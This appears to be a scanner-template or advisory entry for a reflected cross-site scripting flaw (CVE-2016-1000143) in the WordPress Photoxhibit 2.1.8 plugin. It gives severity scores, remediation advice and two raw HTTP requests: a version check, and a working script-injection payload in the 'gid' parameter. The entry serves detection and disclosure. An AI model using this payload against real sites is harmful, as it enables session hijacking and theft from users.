| Title | WordPress Photoxhibit 2.1.8 - Cross-Site Scripting |
|---|---|
| Author | daffainfo |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in a victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information. |
| Remediation | Update to the latest version of WordPress Photoxhibit or apply the official patch provided by the vendor. |
| CVSS Score | 6.1 |
| EPSS Score | 0.06584 |
| CVE ID | CVE-2016-1000143 |
| CWE ID | CWE-79 |
| Tags | cve2016 cve wordpress wp-plugin xss photoxhibit_project vuln |
WordPress Photoxhibit 2.1.8 contains a reflected cross-site scripting vulnerability which allows an attacker to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
GET /wp-content/plugins/photoxhibit/readme.txt HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50
Connection: close
Accept-Encoding: gzip
GET /wp-content/plugins/photoxhibit/common/inc/pages/build.php?gid=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:133.0) Gecko/20100101 Firefox/133.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
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